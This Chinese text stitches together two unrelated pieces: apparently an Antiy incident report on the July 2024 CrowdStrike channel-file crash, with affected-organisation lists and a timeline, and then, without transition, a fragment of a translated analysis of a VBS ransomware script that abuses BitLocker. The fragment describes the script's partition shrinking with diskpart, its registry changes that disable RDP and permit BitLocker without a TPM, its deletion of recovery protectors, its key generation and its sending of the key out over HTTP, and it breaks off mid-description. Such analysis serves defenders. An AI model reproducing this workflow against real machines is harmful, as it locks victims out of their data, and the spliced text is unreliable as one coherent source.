发生蓝屏的模块CSAgent.sys是其主要的功能模块,该模块带有CrowdStrike和微软的双重数字签名。根据安天攻防实验室的初步分析,它包含文件监测、运行监测、网络过滤等功能,是其主动防御和主机防火墙的核心驱动。基本的运行原理是:驱动程序加载后首先读取策略配置,根据策略对文件读写、进程加载、内存执行、API调用、网络访问等动作,做出放行与阻止操作;优秀的主机安全软件为了快速敏捷的对抗威胁,即时更新防护能力,往往都支持在线分发、可动态接收、即时解析生效下发的策略,这样可以灵活变更配置处理突发事件而不用重启系统,CrowdStrike就使用了这种机制。但由于驱动程序直接调用系统内核接口,模块的稳定性对系统内核会有直接影响,可能是由于某个不当的策略配置,在解析执行策略时,未能正确处理好和系统间的同步机制或者是系统资源分配不当,造成系统死锁问题,引发蓝屏保护。 3.2 对相关文件格式和机理的分析猜测 该事件中“蓝屏”故障的错误代码为“PAGE_FAULT_IN_NONPAGED_AREA”,蓝屏信息中出现错误的驱动程序为“CSAgent.sys”。结合官方处置建议中删除“C-00000291*.sys”文件的处置方案,可以明确判断本次事件直接原因是由于“CSAgent.sys”加载和解析使用存在错误设定的“C-00000291*.sys”文件所致。 与CSAgent.sys 等驱动程序相同目录下(%Windows%\%System32%\drivers\CrowdStrike),存在多个文件名前两个字母为“C-”,且均以sys为拓展名的文件,我们需要严肃指出:这些C-*.sys命名的文件并不是驱动程序文件,网上对本事件一些分析中,将这些也称为系统文件或驱动程序文件,有望扩展名生义的错误。Windows中sys为扩展名的系统文件(或称为驱动文件),格式上是以|4D 5A|为文件头的PE可执行文件,例如发生崩溃的CSAgent.sys就是一个PE文件,而在对应目录下以“C-“为统一开头的“sys”为扩展名的文件,应是一类自定义格式的数据文件。这些文件均以|AA AA AA AA|为文件头,并不具备执行能力,或者至少不具备在系统下直接执行的能力。在CrowdStrike所公布的信息中,将这些文件称为“通道文件”(Channel Files),声明其是 Falcon Sensor的配置文件,用于CrowdStrike防御机制的日常更新。因此可以基本判断相关文件主要类似规则/策略/基线的数据文件。 这些“通道文件”以C-xxxxxxxx-00000000-xxxxxxxx.sys格式进行命名,其文件第一个字符C,含义推测为CrowdStrike的首字母。随后有三个阿拉伯数字节,每节长度均为8位,其中第一节数字为通道号,转换为16进制后与文件中的固定偏移0x6处数值对应;采集到的全部文件的第二节数字值都固定为0,故只能猜测其与固定偏移0xC处数值(所有数值亦均为零)对应;第三节数字值转换为16进制后与文件中固定偏移0x10处数值相对应。 图 3‑1 事故对应的通道文件的文件头与其中的值和文件名的对应关系 由于相关产品机理复杂,尚未能判断这些通道文件具体的功能。对文件内容观测,判断文件经过了一定的编码变换,但似乎未使用分组算法进行加密。我们分析了文件的命名规律,含义猜测如下:第一节数字即通道号,是为其规则/配置库编号,而且设定了对应的值域范围对应的规则/配置分类,第二节为保留段,第三节为对用的规则/配置库更新的次数(即版本)。 图 3‑2 C-系列文件的类型序号(猜测)和更新次数(猜测)关系分布 图 3‑3 C-系列文件的更新次数(猜测)与文件大小的关系 基于以上两个统计分析,我们可以看到管道号是按照值域部分连续分布的,而相对大的文件,我们猜测为更新次数的数值越大,基本验证我们对于文件命名规则的猜测是有依据的。 CrowdStrike对于相关漏洞的官方解释为: 此次涉及到的 以“C-00000291”作为文件名开头、 “.sys”作为扩展名的文件属于配置文件,也被称作“Channel Files”。这些文件是Falcon Sensor行为防护机理的一部分。这些文件在日常运营中根据CrowdStrike 监测到的每日威胁技战术情况,一天会更新若干次。 文件以C开头,每个“通道文件”被分配了唯一的编号作为标识。此次造成影响的是291,相关文件以“C-00000291-”开头,用“.sys”作为扩展名。虽然使用驱动文件的扩展名,但这些文件不是驱动程序。 291通道文件,控制Falcon对Windows上的“命名管道(Named Pipe)”执行动作进行评估。“命名管道”是常用技术,通常在Windows环境中用于进程间通信或系统间通信。 该文件的更新发生在UTC 时间 04:09,由新监测到的网络攻击C2框架中使用的恶意命名管道触发。但由于更新中触发了一个逻辑错误,导致了操作系统崩溃。 安天分析小组对此进一步推测291文件中包含了关于命名管道相关的攻击的检测和拒止规则,其针对的攻击可能包括命名管道枚举、命名管道提权、命名管道伪造等攻击。我们也在分析微软本月补丁中与管道漏洞是否有关,以及近期公开的漏洞是否是这次“失败的更新”的肇始。 3.3 复现分析相关问题的努力 由于CrowdStrike公司禁止中国大陆的地区下载相关产品,因此在出现事件后,分析小组只有相关软件的早期版本。安天攻防实验室依托较为有限的资源,将获取到出现问题的sys文件进行组合进行分析。但由于分析环境的限制,目前并未实现稳定的漏洞复现。 图 3‑4 安天攻防实验室复现CrowdStrike驱动未正确处理系统同步导致蓝屏 图 3‑5 安天工程师对CSAgent模块的双机调试分析 3.4 技术判断 该事件的直接原因已经比较清晰,是广泛安装于大量Windows主机的CrowdStrike产品的CSAgent.sys模块所加载利用数据配置文件C-00000291*.sys存在问题,导致的系统崩溃。 此前也有声音怀疑问题是否由微软的补丁发布导致,但根据目前的各方公开的信息梳理。CrowdStrike已经承认问题来自于UTC时间7月19日 04:09其发布了用于管控命名管道的配置更新即C-*291.sys,立即导致了,微软Azure云上的Windows虚拟机开始发生此类重启和崩溃问题。至UTC 时间 05:27 CrowdStrike撤销了此更新,此后启动的主机将不受影响。基于上述时间过程,整体可以认为CrowdStrike方面已经确认了事件来自自身。 从长期的外部印象来看,CrowdStrike长期面对复杂的主机和工作负载场景、有广泛的客户部署、产品需要面对西方军政机构客户、国际大型企业客户的严格品控要求,因此其测试和品管体系应该是比较完善的,而与操作系统的兼容性测试必然是其重点。但无法验证其测试体系是否能细粒度到达每一次规则策略更新,并能坚持灰度分发和监测/回滚等策略。这起事件究竟是“黑天鹅”,还是“灰犀牛”。究竟是其检测发布机制依然存在重大流程问题,还是因为特定原因出现了一个“黑洞式”的时间差,还需要等待更多信息公开判断。同时我们也需要继续关注分析这是否是一次巧妙的供应链预制攻击事件。 4 对“猎鹰折羽”事件的反思 1、事件源自供应链攻击的可能性依然不能排除,且至少昭示了一种新的威胁样板:虽然CrowdStrike给出了对本事件的官方解释是这不是一起网络安全事件,而是一起质量事故。但我们依然认为仅凭现有信息不能排除这是一严重的安全软件供应链攻击事件。由于安全产品在防御体系中往往处于关键位置,如:网络边界(如安全网关)、实时监测(如主机杀毒和防护软件)或业务流程之上(如身份认证),因此攻击安全软件,特别是攻击安全软件的供应链体系,有可能产生比攻击应用软件或应用软件供应链更为严重的后果,SolarWinds的供应链攻击让我们看到了入侵开发环境大范围建立下游横向移动桥头堡的可能,而本次事件从后果上昭示出了利用安全软件供应链达成大范围崩溃瘫痪的风险。而这种构造可以完全不依赖于注入代码,而是可以利用安全产品对配置、库、数据的解析机理,通过解析错误或者流程异常,导致崩溃或DoS的后果。 2、正视主机和工作负载的安全是网络安全的基石型需求:此次事件是CrowdStrike在全球庞大的装机规模与Windows系统作用耦合的结果。但我们不应只将目光聚集在事故本身。更需要看到主机系统侧威胁检测防御能力是必须强化建设的刚需环节。CrowdStrike飞速发展的基础,正源自先进计算架构的崛起导致的源自传统安全边界的失效,安全对抗从聚焦于网络检测和拦截的御敌于城门之外,转入必须全面应对主机系统侧的恶意代码、混合执行体攻击、漏洞组合利用和社工钓鱼的深水区。随着数字化转型、资产云化、泛在接入和加密协议的普遍使用,防火墙、网闸等传统访问控制边界或数据交换边界已经全面塌陷,安全的基石正在重回主机系统一侧,系统安全能力即需要跟随现代计算结构的延展在云主机、虚拟化、容器中延展,也需要进一步强化传统终端、工业和专用场景工作站、移动设备等提供安全防护。现代防御体系既要构建出防御纵深,也必须构建网状的联动体系。让每一个主机和工作负载系统的单点防护能力形成组织和弹性,实现攻击者攻击一点即被感知,其载荷、战术将快速被捕获转化为情报共享,快速形成其他节点的防御能力。正是在这个大趋势下, 国际传统的Big AV企业依托在恶意代码检测和内核主防的深刻积累,继续保持自己的强势存在。更使CrowdStrike实现了快速的发展崛起。而本次事件的关注点,不应仅仅放在安全产品自身安全性这一视角上。而更要关注我国长期存在的,不够重视主机系统侧安全能力建设、缺乏投入而带来的低效防护问题才是我们面对的显示问题。一些场景下,现实场景下是终端系统感染式病毒、蠕虫、宏病毒事件此起彼伏,而规划中却又在讨论着未知检测、APT防护和人工智能。部分主机安全产品缺少可靠的恶意代码检测能力,为降低成本,普遍采用检测能力严重不足的开源反病毒引擎ClamAV;甚至忽视供应链风险,在没有商业授权下,直接二进制嵌入国外反病毒引擎。部分产品缺少有效的驱动防护和阻断机制,只能通过少数Ring3 HOOK采集信息,基本无法看到隐蔽攻击行为。在主机配置加固方面,很多产品只能管理几十个配置点,而相比之下,美方STIG的安全规范,平均每种操作系统的安全配置点已达600多个。面对这种差距,对CrowdStrike开启嘲讽模式是没有意义的,反而应该正视在主机安全侧普遍存在的防护缺失问题。安全防护能力必须在系统侧持续强化,必须构建最小化的安全边界,堆砌盒子的方式越来越难以达成防御价值,伴随先进计算架构,将系统安全和威胁检测能力深度融合才是安全的未来。 3、安全产品,包括安全产品的研发环境和全生命周期需要被高度重视:由于应用软件和平台具有更高的用户可见性,关系用户业务连续性,因此网络管理者往往更关注应用软件特别是平台系统的更新测试和部署流程。而安全软件为对抗威胁,对抗部署后的能力衰减,需要更高频度的升级,类似病毒库需要高频的升级,策略库、漏洞库也需要更新迭代。由于这些升级,基本上都在后台自动化运行,往往容易成为自身测试的盲点,客户侧场景下的黑箱。由于安全产品具备安全功能,容易给用户带来信任感,但安全产品的安全功能和安全产品本身的安全的并不等价,如果安全厂商不重视自身的产品的安全性,越多的功能则会带来更大的不安全。但与此同时,也建议用户,不因为本事件对能力升级带来过度恐慌,从而拒绝升级。安全软件如果不能及时升级,会导致相对威胁演进,监测防护能力快速衰减。这就给攻击突防带来了更大的机会窗口,全面提升攻击者的成功率,导致用户在规避偶然性风险的同时,导致了必然性风险。 4、驱动级主防是必须的,但需要更加可靠健壮安全:从物理主机到虚拟化的防护来看,尽管出现了这样重大的安全事件,我们依然坚信驱动级主防是必须的。基于驱动和内核模块进行安全防护虽然确实有更大的导致系统可靠性的风险,但内核级防护的安全稳定性,应通过更自动和全面的测试等来保障,而非因噎废食。如果没有内核级的主防,仅靠Ring3层面的HOOK和采集点,不但几乎很难拦截和阻断威胁,甚至无法实现有效的威胁感知,并可能很容易被攻击者删除或卸载。这种防护虽然一定程度上降低了系统出现底层故障的风险,但却将客户场景带入到随时可能被攻击者击穿的状态中。系统安全产品的Agent应实现更好的积木化,可以根据用户的防御能力和资源利用情况,让用户在底层防护、或轻量监测中可以选择,而不是借此放大用户对驱动级主防的恐惧感,而将用户引入弱防御的风险境地。当然我们也同样认为驱动级主防的设计、实现和规则运营,必须高度谨慎,要将尽可能多的威胁拦截在运行之前,而尽量避免进入到内存对决状态,这也是我们执行体治理理念的重要导向。 5、现代计算结构有可能进一步从虚拟化向容器前移:在工作负载的解决方案中,虚拟化方案是相对较重载的,一旦出现底层安全问题,则难以修复。例如本次事故中的公有云虚拟机即使重启后,也会再次蓝屏,因无法连接远程桌面,也自然无法采取进入安全模式的方式恢复。相比来看,容器+金丝雀发布的组合,则相对能减少更新/部署故障。预测在本次事件后,除数据中心和边缘云外,独立工作负载使用容器技术的进程,会大幅提速。而虚拟化支持相对不够理想的信创架构来说,是一个利好。但与此同时,简单的依托物理主机安全平移到虚拟化中来支撑云解决方案的传统端点安全厂商,则面临难以满足容器安全需求的新挑战。始终跟随先进计算架构的演进、防护先进计算架构,是安全厂商基业长青的重要保障。 6、我们没有心存侥幸的资本:美国寡头资本和政客竭力在网络安全问题上反复抹黑中国,推动中美脱钩,持续在中美网信产业间制造裂痕,这使网络安全产业已经不可逆的在走向阵营化。特别是CrowdStrike反复参与抹黑中国的活动,在面对本次重大全球事件中也显示出冷漠和傲慢,让我们对其有很大的反感情绪。但我们依然认为,虽然发生了如此严重的事件,不能掩盖CrowdStrike在产品研发和运营层面有着超强实力,其依然是国际最优秀的安全企业之一。安天作为同样以恶意代码检测分析为能力基本面、以平台+AI赋能为运行支撑、以主机系统侧安全为基石场景的安全企业,面对国际同行的发生重大事件,我们没有幸灾乐祸的资本,而必须将本次事件视为产业的共同教训。系统安全是一种和保护对象深度耦合的产品形态,我们将保持对用户场景更深的敬畏。而对中国网络安全产业来说,这一次灾难发生于身外,并非说明我们通过了“大考”,只能说:真正需要我们应对的风险,还潜伏在不远的未来。也相信投身系统安全的同仁们都勇于积极应对系统安全面临的巨大挑战,致力于研发创造和运营先进安全能力。我们不应因高水平驱动和内核模块防御有极高稳定性、可靠性要求而退缩,转而炒作轻量级Agent等概念;不应因强化自身防御环境和全声明周期的代码安全需要巨大投入而躲避必须的建设成本。更不应事不关己、自我标榜,甚至兴灾乐祸;对我们自己来说,从别人的事件中找到我们自己的改进点,在继续提升系统侧安全能力和防护效果的同时,持续强化自身的安全左移、协助客户完善能力分发运行流程,才是负责任的网安企业必须担当的责任! 而从另一个角度看,国内政企机构有庞大的Windows主机用户基数,能在这样的大规模事件中几乎未受到波及,正说明中国网络安全产业和技术自立自强的重大意义。虽然中国网安产业体系在市场尚未充分发育时,陷入了低水平、过饱和竞争的焦灼状态,但在发展新质生产力征程中,我们必将成长为具有决定性的强大产业力量。 附录一:参考资料 [1]关于赛门铁克查杀中文XP系统文件问题的事件分析,安天CERT,2007 [2] CrowdStrike Update Pushing Windows Machines Into a BSOD Loop https://cybersecuritynews.com/crowdstrike-update-bsod-loop/ [3]Tech Alert Windows crashes related to Falcon Sensor https://supportportal.crowdstrike.com/s/article/Tech-Alert-Windows-crashes-related-to-Falcon-Sensor-2024-07-19 [4]BSOD error in latest crowdstrike update https://www.reddit.com/r/crowdstrike/comments/1e6vmkf/comment/ldvwkbn/ 附录二:受影响机构清单 表 0‑1受到影响的组织机构清单 受害机构 行业领域 总部所在地 受影响情况 联合航空 航空服务 美国 临时停飞所有飞机 达美航空 航空服务 美国 临时暂停航班计划 美国航空地面停靠站 航空服务 美国 临时停飞所有飞机 阿拉斯加州 应急服务 美国 服务中断 亚利桑那州 应急服务 美国 服务中断 新罕布什尔州的911服务 应急服务 美国 服务中断 医院电子病历系统 医疗 美国 大面积计算机故障 天空新闻 媒体 英国 停播 英中贸易协会 媒体 英国 停播 爱丁堡机场 机场 英国 自动登机系统失效 盖特威克机场 机场 英国 航班延误 NHS服务 健康服务 英国 无法查看和管理病历、开具和管理处方或预约 伦敦证券交易所 金融服务 英国 无法在其网站上推送新闻更新 立博科洛 零售商 英国 英国某铁路公司 交通 英国 上海康莱德酒店 服务 英国 无法办理入住及退房 ABC 媒体 澳大利亚 SBS 媒体 澳大利亚 七号电视网 媒体 澳大利亚 九号电视网 媒体 澳大利亚 澳洲航空 航空服务 澳大利亚 维珍澳洲航空 航空服务 澳大利亚 捷星航空 航空服务 澳大利亚 悉尼机场 机场 澳大利亚 影响部分航空公司运营 墨尔本机场 机场 澳大利亚 影响值机程序,建议乘客咨询相关航空公司 Woolworths 超级市场 澳大利亚 支付系统瘫痪 Coles 超级市场 澳大利亚 支付系统瘫痪 澳大利亚国民银行 银行 澳大利亚 应用程序受到影响 澳新银行 银行 澳大利亚 应用程序受到影响 联邦银行 银行 澳大利亚 应用程序受到影响 本迪戈银行 银行 澳大利亚 应用程序受到影响 Suncorp 银行 澳大利亚 应用程序受到影响 澳大利亚KFC 餐饮服务 澳大利亚 支付系统瘫痪 自助结账系统 零售商 澳大利亚 支付系统瘫痪 道明加拿大信托移动应用程序 银行 加拿大 大阪环球影城 服务 日本 所有系统瘫痪 大阪蘑菇餐厅 餐饮服务 日本 所有系统瘫痪 日本麦当劳 餐饮服务 日本 所有系统瘫痪 西日本旅客铁道公司 交通 日本 无法获取列车行驶位置信息 火车票购买 交通 比利时 公共交通的车票无法出售 数字公告 交通 比利时 JOE 媒体 比利时 QMusic 媒体 比利时 布鲁塞尔机场 机场 比利时 沙勒罗瓦机场 机场 比利时 比利时某银行 金融 比利时 比利时某邮政服务 服务 比利时 TF1 电视频道 法国 TFX 电视频道 法国 LCI 电视频道 法国 Canal+ 电视频道 法国 2024 年巴黎奥运会的系统 应用系统 法国 制服和证件发放受到影响,减缓运营速度,新闻中心的认证柜台关闭,安检只能手动进行姓名核对。 空中交通管制 交通服务 克罗地亚 中央卫生信息系统 医疗 克罗地亚 汉莎航空 航空服务 德国 公司网站的"资料和预订查询"功能出现问题 柏林机场 机场 德国 部分航班延误或取消 荷尔斯泰因大学医院 医疗 德国 香港国际机场 机场 香港特别行政区 无法自动办理登机手续,须改用人工办理登机手续 国泰航空 航空服务 香港特别行政区 香港快运 航空服务 香港特别行政区 香港航空 航空服务 香港特别行政区 维斯塔拉航空 航空服务 印度 IT服务中断 印度航空 航空服务 印度 IT服务中断 靛蓝航空 航空服务 印度 IT服务中断 阿卡萨航空 航空服务 印度 IT服务中断 香料航空 航空服务 印度 IT服务中断 甲骨文 IT 印度 设备陷入启动循环无法恢复 诺基亚 IT 印度 设备陷入启动循环无法恢复 红大卫盾会医院:谢巴医院 医疗 以色列 紧急服务热线受到影响 拉尼亚多医院 医疗 以色列 等待时间增加及手术延误 拉姆巴姆医院 医疗 以色列 等待时间增加及手术延误 制药公司 医疗 以色列 全面停产 以色列邮政 服务 以色列 铁路运营商 KTMB 的售票系统 铁路交通 马来西亚 出现技术问题 泛航航空公司 航空服务 荷兰 服务中断 皇家航空公司 航空服务 荷兰 服务中断 史基浦机场 机场 荷兰 KNAB银行 银行 荷兰 澳新银行 金融 新西兰 ASB 金融 新西兰 新西兰银行 金融 新西兰 西太平洋银行 金融 新西兰 Woolworths 零售服务 新西兰 支付系统瘫痪 奥克兰交通局 交通 新西兰 基督城机场 机场 新西兰 宿务太平洋航空航班 航空服务 菲律宾 航班延误 济州航空 航空服务 韩国 樟宜机场 机场 新加坡 服务中断 ENAIRE’s Aena 航空服务 西班牙 IT服务中断 苏黎世机场 机场 瑞士 飞机禁止降落 布拉格机场 机场 捷克 值机系统中断,航班延误 Amazon 云服务 美国 内部服务系统及使用其AWS服务的公司 附录三:时间轨迹和各方信息整理 (1)事件发展情况媒体报道 7月18日,科技媒体Windows Latest发文称有网友反馈,在安装Windows 11的7月份累积更新 KB5040442 过程中,曾多次遇到0x80d02002、0x800f081f、0x80073cf3等错误。还有网友反馈,连续安装3次KB5040442更新,每次都会报告0x80d02002错误。CrowdStrike事件发生后,相关信息引起关注,但目前没有证据证明两个事件存在相关性。 7月18日,UTC大约21点56分开始,Azure平台的部分客户遇到了在美国中部区域服务中断的问题,涉及多个服务的管理操作、连接性和可用性故障。CrowdStrike事件发生后,相关信息引起关注。但微软表示相关事件与CrowdStrike无关。 7月19日,04:09世界标准时间(UTC)(北京时间12:09),CrowdStrike发布了一个针对Windows系统的传感器配置更新。这个配置更新是Falcon平台保护机制的一部分。这次更新触发了一个逻辑错误,导致受影响系统的蓝屏死机。在06:48 UTC,Google Compute Engine也报告了这个问题。导致系统崩溃的传感器配置更新已于北京时间7月19日13:27修复。 7月19日,在北京时间下午5:40的更新中,微软表示:“我们已经意识到影响运行Windows客户端和Windows服务器的虚拟机的问题,这些虚拟机运行CrowdStrike的Falcon软件,可能会遇到错误检查(BSOD,蓝屏死机)并卡在重启状态。我们估计影响开始于7月18日19:00 UTC(世界标准时间)左右。” 7月19日早间,美国联邦航空管理局(FAA)发出警报表示,美国航空、联合航空和达美航空已请求FAA对所有航班实施全球停飞。FAA要求空中交通管制员告知飞行员,航空公司目前遇到了通信问题。 7月19日早晨,CrowdStrike创始人兼CEO乔治·库尔茨接受美国全国广播公司(NBC)节目《今日》访问时说:“我们对于给客户、游客及其他所有受影响的人,包括我们公司本身造成的影响深表歉意。”此外,库尔茨表示目前许多客户已重启系统恢复运作,但还有一些无法自动恢复的系统可能得花一些时间,而该公司会确保每位客户的系统都能完全恢复。 7月19日下午,中国香港机场管理局表示,由于微软系统出现故障,机场受影响航空公司须改用人手办理登记手续,航班运作暂未受影响。受影响航空公司改用人手办理登记手续,已启动紧急应变机制跟进,呼吁旅客预留充足时间。 7月19日下午17时45分,乔治·库尔茨在社交媒体X上回应称:“CrowdStrike正积极与受Windows主机单次内容更新中发现缺陷影响的客户合作。Mac和Linux主机不受影响。这不是安全事件或网络攻击。目前已确定、隔离了该问题,并部署了修复程序。” 7月19日晚间,微软称根本问题已经得到解决。官方账号Microsoft 365 Status在X(原推特)平台上发文写道:“根本原因已得到修复,但残余影响仍在继续影响一些Microsoft 365应用和服务。我们正在采取额外的缓解措施以提供帮助。” (2)相关专家观点 英国《卫报》引述知名网络安全顾问特洛伊·亨特(Troy Hunt)的分析认为,这可能是“历史上规模最大的IT故障”。“我认为现在下结论并不为时过早:这将是历史上规模最大的IT故障。”他社交媒体平台X(原推特)上写道,“这基本上就是我们所有人对Y2K问题的担忧,只不过这次真的发生了。” Wedbush证券的分析师丹·艾夫斯(Dan Ives)则认为,这次事件将对CrowdStrike造成显著的负面影响,同时可能让其竞争对手有机会在市场上获取更多的份额。“这显然是对CrowdStrike的重大打击,它必须在未来几周和几个月里采取有效措施,以恢复客户和市场的信任。” 业内网络安全人士分析称,此次蓝屏故障大概率是因为杀毒软件内的错误程序造成了Windows系统的程序错误,从而触发了Windows系统的自我保护机制。 伦敦大学学院计算机科学系助理教授玛丽·瓦塞克(Marie Vasek)表示,“大范围的计算机崩溃表明,全球技术系统对少数公司的软件有多么依赖,包括微软和CrowdStrike的软件。这里的问题是,微软是每个人都使用的标准软件,CrowdStrike中的漏洞被部署到每个系统中。” 埃隆·马斯克(Elon Musk)在社交平台上表示,将直接在特斯拉所有系统中全部删掉CrowdStrike的软件,并且附上了一张“火烧CrowdStrike机房”的AI生成图片。他随后补充道,“不幸的是,我们的许多供应商和物流公司都在使用它。” 澳大利亚内政部长克莱尔·奥尼尔(Clare O'Neil)发布声明称,“该公司已经通知我们,大多数问题应该通过他们提供的修复程序来解决,但是考虑到这次事件的规模和性质,可能需要一些时间来解决。各级政府密切参与,重点是汇集受影响的各方,并确保政府尽快制定解决办法。如有需要,我们会发出进一步的更新。” (3)干扰信息分析 事件发生后有网络用户发布帖子和视频声称自己为事发当日刚入职的CrowdStrike员工,且为此事件的幕后主使,他还声称自己因为本次事件而被开除。该帖子在几小时内已有超过千万次查看量,可见本次“蓝屏”事件的影响之广泛。但有人关联该用户的信息显示,其真实性很低,其CrowdStrike员工身份也大概率是伪造的,其有可能是一个洋葱新闻式的搞笑博主。 图 0‑1声称CrowdStrike员工的帖子及回复 例如有用户根据其历史个人简介发现此人很可能故意制造“假新闻”(Fake News)。 图 0‑2此人伪装CrowdStrike员工的证伪线索 附录四: 参与本报告编写的机构情况 部门 部门简介 安天云安全中心 负责主机安全、容器安全、微隔离等睿甲家族云安全产品的产品研发和产品行销支撑工作,同时也负责云场景下的安全研究和安全规则/模型生产。部门图腾为白天鹅,寓意志存高远,不断挑战自我,勇攀高峰。。 安天应急响应中心 负责对APT攻击、定向勒索攻击、黑灰产犯罪等威胁事件和行为体持续捕获、跟踪、分析,推动威胁分析成果转化为安天引擎和产服的检测防御能力,将对威胁事件与趋势的判断,转化为政府与公众了解威胁活动的知识成果。支撑安天安全服务和其他场景的深度安全分析需求。部门图腾是东北豹,嗅觉敏锐、凶猛彪悍,行动快捷、每战必胜。 安天攻防实验室 隶属于安天安全服务中心,支撑红蓝对抗和漏洞库支持工作,通过能力运营和安全研究支撑相关产线产品安全能力提升。负责公司已有产品安全能力相关规则和测试样例汇聚、复用,形成良性闭环,负责攻防研究提升攻防能力和漏洞挖掘支撑能力。目前部门复用安天服务中心部门图腾啄木鸟,勤奋细腻、守护深林与环境、呵护每一片树叶,不放走一只害虫。
  21. 介绍 攻击者总是能找到各种创造性的方法来绕过防御功能并达到他们的目的,例如通过打包程序、加密程序和代码混淆来实现。然而,逃避检测以及最大化兼容性的最佳方法之一是使用操作系统自身的功能。 在勒索软件威胁的背景下,一个值得注意的情况是利用加密 DLL ADVAPI32.dll 中存在的导出函数,例如 CryptAcquireContextA、CryptEncrypt 和 CryptDecrypt。通过这种方式,攻击者可以确保恶意软件在支持此 DLL 的各种版本的操作系统中运行并模拟正常行为。 而在最近的一次事件响应中,另一种巧妙的技术引起了安全研究人员的注意:使用原生 BitLocker 功能加密并窃取解密密钥。BitLocker 的最初目的是解决丢失、被盗或不当退役设备导致数据被盗或泄露的风险,然而,威胁者发现这种机制可以被重新用于实现恶意目的,且效果非常好。 在该事件中,攻击者能够部署并运行一个高级 VBS 脚本,该脚本利用 BitLocker 进行未经授权的文件加密。安全研究人员在墨西哥、印度尼西亚和约旦发现了此脚本及其修改版本。本文将详细分析在事件响应工作中获得的恶意代码,并提供缓解此类威胁的建议。 这不是我们第一次看到 BitLocker 用于加密驱动器并索要赎金。以前,攻击者在访问和控制关键系统后,会使用此 Microsoft 实用程序来加密这些系统。然而,在这种情况下,攻击者采取了额外的措施来最大限度地扩大攻击造成的损害,并阻碍对事件的有效响应。 VBScript 分析 一个有趣的现象是,攻击者没有像威胁者通常做的那样费心混淆大部分代码。对此最合理的解释是,当脚本执行时,他们已经完全控制了目标系统。它以 Disk.vbs 的形式存储在 C:\ProgramData\Microsoft\Windows\Templates\ 中。 它的第一行包含一个函数,该函数使用 ADODB.Stream 对象将字符串转换为其二进制表示形式。此函数稍后用于编码要在 HTTP POST 请求中发送的数据。 Stream_StringToBinary 函数 脚本主要功能的第一步是使用 Windows 管理规范 (WMI) 在 Win32_OperatingSystem 类的帮助下查询有关操作系统的信息。对于查询结果中的每个对象,脚本都会检查当前域是否与目标不同。如果不同,脚本将自动完成。 之后,它会检查操作系统的名称是否包含“xp”、“2000”、“2003”或“vista”,如果 Windows 版本与其中任何一个匹配,脚本将自动完成并删除自身。 执行的初始条件 此后,脚本继续依赖 WMI 查询有关操作系统的信息。然后,它会执行磁盘大小调整操作,这些操作可能会因操作系统版本检查的结果而异。这些操作仅在固定驱动器(DriveType = 3)上执行。文件系统中通常存在以下驱动器类型: 恶意软件不会尝试在网络驱动器(DriveType = 4)上执行相同操作的可能原因是为了避免触发网络上的检测工具。 为了调整 Windows Server 2008 或 2012 中的本地驱动器大小,脚本会检查主启动分区并保存此信息。它会保存不同分区的索引,然后使用 diskpart 执行以下操作: ·将每个非启动分区的大小缩小 100 MB。这将在启动卷以外的每个分区中创建 100 MB 的未分配空间; ·将未分配空间拆分为新的 100 MB 主分区; ·使用覆盖选项格式化分区,这会在必要时强制先卸载卷,并为每个分区分配文件系统和驱动器号; ·激活分区;如果缩小过程成功,则将“ok”保存为变量,以便脚本可以继续。 Windows Server 2008 和 2012 中脚本执行的磁盘大小调整操作 如果操作成功,代码将使用实用程序 bcdboot 和之前保存为启动卷的驱动器号在新的主分区上重新安装启动文件。 重新安装引导文件 其他操作系统版本的分区缩小操作类似,但出于兼容性原因,使用不同的代码段实现。下面的示例显示了应用于 Windows 版本 7、8 和 8.1 的过程。 Windows 版本 7、8 或 8.1 中的磁盘大小调整操作 对于 Windows 2008 或 7,分区压缩过程完成后,变量 matchingDrives 会保存以逗号分隔的驱动器号,但前提是文件系统为 NFTS、exFAT、FAT32、ReFS 或 FAT。代码经过修改,可打印示例: 然后,该脚本添加以下注册表项: ·fDenyTSConnections = 1:禁用 RDP 连接; ·scforceoption = 1:强制智能卡身份验证; ·UseAdvancedStartup = 1:要求使用 BitLocker PIN 进行预启动身份验证; ·EnableBDEWithNoTPM = 1:允许在没有兼容 TPM 芯片的情况下使用 BitLocker; ·UseTPM = 2:如果可用,允许使用 TPM; ·UseTPMPIN = 2:如果可用,允许使用带有 TPM 的启动 PIN; ·UseTPMKey = 2:如果可用,允许使用带有 TPM 的启动密钥; ·UseTPMKeyPIN = 2:如果可用,允许使用带有 TPM 的启动密钥和 PIN; ·EnableNonTPM = 1:允许在没有兼容 TPM 芯片的情况下使用 BitLocker,需要 ·USB 闪存驱动器上的密码或启动密钥; ·UsePartialEncryptionKey = 2:要求使用带有 TPM 的启动密钥; ·UsePIN = 2:要求使用带有 TPM 的启动 PIN。 如果脚本检测到错误,它将重新启动系统。 注册表修改 通过动态分析恶意软件,我们可以确认执行的注册表更改: 此外,有多个函数执行这些操作,每个函数都是为不同版本的 Windows 设计的。在某些条件下,它会通过远程服务器管理工具的 ID 266 检查 BitLocker 驱动器加密工具是否处于活动状态。然后,恶意软件会检查 BitLocker 驱动器加密服务 (BDESVC) 是否正在运行。如果没有,它会启动该服务。 BDESVC 验证 该脚本还将新启动分区的标签更改为攻击者的电子邮件,如下图所示,以便受害者可以联系他们。 驱动器标签修改 攻击者的电子邮件作为驱动器标签 之后,恶意软件会禁用用于保护 BitLocker 加密密钥的保护程序并将其删除。删除方法可能因操作系统版本而异。在 Windows Server 2008 或 Windows 7 场景中,这是通过 VBS 功能实现的,之后脚本使用 PowerShell 强制删除保护程序。 完成删除后,它可以使用数字密码作为保护器和加密功能。 保护器删除 删除默认保护器的原因是为了避免用户恢复密钥,如下例所示: BitLocker密钥的恢复 接下来,恶意软件使用以下元素的随机乘法和替换来生成 64 个字符的加密密钥: ·一个包含数字 0-9 的变量; ·著名的全字母句子“敏捷的棕色狐狸跳过了懒狗”,有小写和大写两种形式,其中包含英文字母表的每个字母; ·特殊字符。 该密码的随机性由受影响系统的各种元素(例如已用内存和网络统计信息)组成的种子实现。稍后,这些信息将发送给攻击者。我们在自己的环境中测试了密钥生成逻辑,对脚本进行了轻微修改后,就能看到生成的密码。 密钥生成过程 然后,代码将先前生成的加密密钥转换为安全字符串(一种防止在内存中创建字符串对象的 PowerShell 选项),并有效地在驱动器上启用 BitLocker。 然后,脚本使用以下选项创建 HTTP POST 请求对象: ·使用 WinHTTP 版本 5.1。 ·接受法语。 ·忽略 SSL 错误(httpRequest.Option(4) = 13056 à WinHttpRequestOption_SslErrorIgnoreFlags)。 ·禁用重定向(httpRequest.Option(6) = false à WinHttpRequestOption_EnableRedirects)。 